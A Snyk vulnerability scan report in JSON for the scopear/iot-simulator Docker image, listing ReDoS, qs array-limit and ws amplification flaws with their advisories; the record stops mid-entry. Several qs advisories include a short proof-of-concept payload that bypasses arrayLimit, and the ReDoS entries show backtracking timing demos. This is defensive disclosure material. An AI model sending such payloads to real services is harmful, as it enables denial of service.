{ "vulnerabilities": [], "ok": true, "dependencyCount": 36, "org": "sean.graham", "policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n", "isPrivate": true, "licensesPolicy": { "severities": {}, "orgLicenseRules": { "AGPL-1.0": { "licenseType": "AGPL-1.0", "severity": "high", "instructions": "" }, "AGPL-3.0": { "licenseType": "AGPL-3.0", "severity": "high", "instructions": "" }, "Artistic-1.0": { "licenseType": "Artistic-1.0", "severity": "medium", "instructions": "" }, "Artistic-2.0": { "licenseType": "Artistic-2.0", "severity": "medium", "instructions": "" }, "CDDL-1.0": { "licenseType": "CDDL-1.0", "severity": "medium", "instructions": "" }, "CPOL-1.02": { "licenseType": "CPOL-1.02", "severity": "high", "instructions": "" }, "EPL-1.0": { "licenseType": "EPL-1.0", "severity": "medium", "instructions": "" }, "GPL-2.0": { "licenseType": "GPL-2.0", "severity": "high", "instructions": "" }, "GPL-3.0": { "licenseType": "GPL-3.0", "severity": "high", "instructions": "" }, "LGPL-2.0": { "licenseType": "LGPL-2.0", "severity": "medium", "instructions": "" }, "LGPL-2.1": { "licenseType": "LGPL-2.1", "severity": "medium", "instructions": "" }, "LGPL-3.0": { "licenseType": "LGPL-3.0", "severity": "medium", "instructions": "" }, "MPL-1.1": { "licenseType": "MPL-1.1", "severity": "medium", "instructions": "" }, "MPL-2.0": { "licenseType": "MPL-2.0", "severity": "medium", "instructions": "" }, "MS-RL": { "licenseType": "MS-RL", "severity": "medium", "instructions": "" }, "SimPL-2.0": { "licenseType": "SimPL-2.0", "severity": "high", "instructions": "" } } }, "packageManager": "apk", "ignoreSettings": { "adminOnly": false, "reasonRequired": false, "disregardFilesystemIgnores": false, "autoApproveIgnores": false, "approvalWorkflowEnabled": false }, "docker": { "binariesVulns": { "issuesData": {}, "affectedPkgs": {} }, "os": { "prettyName": "Alpine Linux v3.23" } }, "summary": "No known operating system vulnerabilities", "severityThreshold": "high", "filesystemPolicy": false, "uniqueCount": 0, "projectName": "docker-image|docker.io/scopear/iot-simulator", "platform": "linux/amd64", "hasUnknownVersions": false, "path": "docker.io/scopear/iot-simulator:1.0.12_a18cd9a.162/scopear/iot-simulator", "applications": [ { "vulnerabilities": [ { "id": "SNYK-JS-PATHTOREGEXP-15789763", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "uug4na" ], "semver": { "vulnerable": [ ">=8.0.0 <8.4.0" ] }, "exploit": "Not Defined", "fixedIn": [ "8.4.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "path-to-regexp", "references": [ { "url": "https://github.com/pillarjs/path-to-regexp/commit/22a967901afc8b2b42eefe456faa7b6773dcc415", "title": "GitHub Commit" }, { "url": "https://cna.openjsf.org/security-advisories.html", "title": "OpenJS Security Advisories" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-03-29T09:39:01.246847Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-14T15:25:14.089930Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-14T15:25:14.089930Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T09:39:01.246847Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in route patterns. An attacker can cause resource exhaustion by supplying input with multiple sequential optional groups, leading to excessive computation and denial of service.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be mitigated by limiting the number of sequential optional groups in route patterns and avoiding user-controlled input as route patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `path-to-regexp` to version 8.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/22a967901afc8b2b42eefe456faa7b6773dcc415)\n- [OpenJS Security Advisories](https://cna.openjsf.org/security-advisories.html)\n", "epssDetails": { "percentile": "0.51682", "probability": "0.00791", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-4926" ], "CWE": [ "CWE-1333" ] }, "packageName": "path-to-regexp", "proprietary": false, "creationTime": "2026-03-27T08:11:43.387356Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T20:34:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T08:11:43.704120Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-14T15:25:14.089930Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "router@2.2.0", "path-to-regexp@8.2.0" ], "upgradePath": [ false, "express@5.2.0", "router@2.2.0", "path-to-regexp@8.4.2" ], "isUpgradable": true, "isPatchable": false, "name": "path-to-regexp", "version": "8.2.0" }, { "id": "SNYK-JS-PATHTOREGEXP-15789765", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "blakeembrey" ], "semver": { "vulnerable": [ ">=8.0.0 <8.4.0" ] }, "exploit": "Not Defined", "fixedIn": [ "8.4.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "path-to-regexp", "references": [ { "url": "https://github.com/pillarjs/path-to-regexp/commit/48646547da685c1ccb76a95fe23373975a91e200", "title": "GitHub Commit" }, { "url": "https://cna.openjsf.org/security-advisories.html", "title": "OpenJS Security Advisories" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-04-03T23:28:56.963350Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-03T15:25:18.966684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-08-03T15:25:18.966684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-04-03T23:28:56.963350Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when multiple wildcards are used in combination with at least one parameter. An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted input patterns that trigger catastrophic backtracking.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if the second wildcard is not positioned at the end of the path.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `path-to-regexp` to version 8.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/48646547da685c1ccb76a95fe23373975a91e200)\n- [OpenJS Security Advisories](https://cna.openjsf.org/security-advisories.html)\n", "epssDetails": { "percentile": "0.26933", "probability": "0.00353", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-4923" ], "CWE": [ "CWE-1333" ] }, "packageName": "path-to-regexp", "proprietary": false, "creationTime": "2026-03-27T08:16:36.880370Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T20:34:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T08:16:37.083062Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-03T15:25:18.966684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "router@2.2.0", "path-to-regexp@8.2.0" ], "upgradePath": [ false, "express@5.2.0", "router@2.2.0", "path-to-regexp@8.4.2" ], "isUpgradable": true, "isPatchable": false, "name": "path-to-regexp", "version": "8.2.0" }, { "id": "SNYK-JS-QS-15268416", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "SharokhAtaie" ], "semver": { "vulnerable": [ ">=6.7.0 <6.14.2" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.14.2" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-02-25T01:18:28.970240Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-02-13T05:44:36.413749Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-11T14:04:24.168879Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-11T14:04:24.168879Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-02-25T01:18:28.970240Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-02-13T05:44:36.413749Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n", "epssDetails": { "percentile": "0.41038", "probability": "0.00496", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-2391" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-w7fw-mjwx-w883" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-02-12T07:33:26.992101Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-12T05:20:07Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-12T08:09:30.892673Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-11T14:04:24.168879Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "body-parser@1.20.4", "qs@6.14.1" ], "upgradePath": [ false, "body-parser@1.20.4", "qs@6.14.2" ], "isUpgradable": true, "isPatchable": false, "name": "qs", "version": "6.14.1" }, { "id": "SNYK-JS-QS-15268416", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "SharokhAtaie" ], "semver": { "vulnerable": [ ">=6.7.0 <6.14.2" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.14.2" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-02-25T01:18:28.970240Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-02-13T05:44:36.413749Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-11T14:04:24.168879Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-11T14:04:24.168879Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-02-25T01:18:28.970240Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-02-13T05:44:36.413749Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n", "epssDetails": { "percentile": "0.41038", "probability": "0.00496", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-2391" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-w7fw-mjwx-w883" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-02-12T07:33:26.992101Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-12T05:20:07Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-12T08:09:30.892673Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-11T14:04:24.168879Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "qs@6.14.1" ], "upgradePath": [ false, "express@5.2.0", "qs@6.16.0" ], "isUpgradable": true, "isPatchable": false, "name": "qs", "version": "6.14.1" }, { "id": "SNYK-JS-QS-15268416", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "SharokhAtaie" ], "semver": { "vulnerable": [ ">=6.7.0 <6.14.2" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.14.2" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-02-25T01:18:28.970240Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-02-13T05:44:36.413749Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-11T14:04:24.168879Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-11T14:04:24.168879Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-02-25T01:18:28.970240Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-02-13T05:44:36.413749Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n", "epssDetails": { "percentile": "0.41038", "probability": "0.00496", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-2391" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-w7fw-mjwx-w883" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-02-12T07:33:26.992101Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-12T05:20:07Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-12T08:09:30.892673Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-11T14:04:24.168879Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "express@5.2.0", "body-parser@2.2.1", "qs@6.14.1" ], "upgradePath": [ false, "express@5.2.0", "body-parser@2.3.0", "qs@6.16.0" ], "isUpgradable": true, "isPatchable": false, "name": "qs", "version": "6.14.1" }, { "id": "SNYK-JS-WS-17344547", "title": "Asymmetric Resource Consumption (Amplification)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Nadav Magier" ], "semver": { "vulnerable": [ ">=1.1.0 <5.2.5", ">=6.0.0 <6.2.4", ">=7.0.0 <7.5.11", ">=8.0.0 <8.21.0" ] }, "exploit": "Proof of Concept", "fixedIn": [ "5.2.5", "6.2.4", "7.5.11", "8.21.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "ws", "references": [ { "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p", "title": "GitHub Advisory" }, { "url": "https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a", "title": "GitHub Commit" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661", "title": "Red Hat Bugzilla Bug" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-24T05:49:41.194423Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-22T14:36:42.031002Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 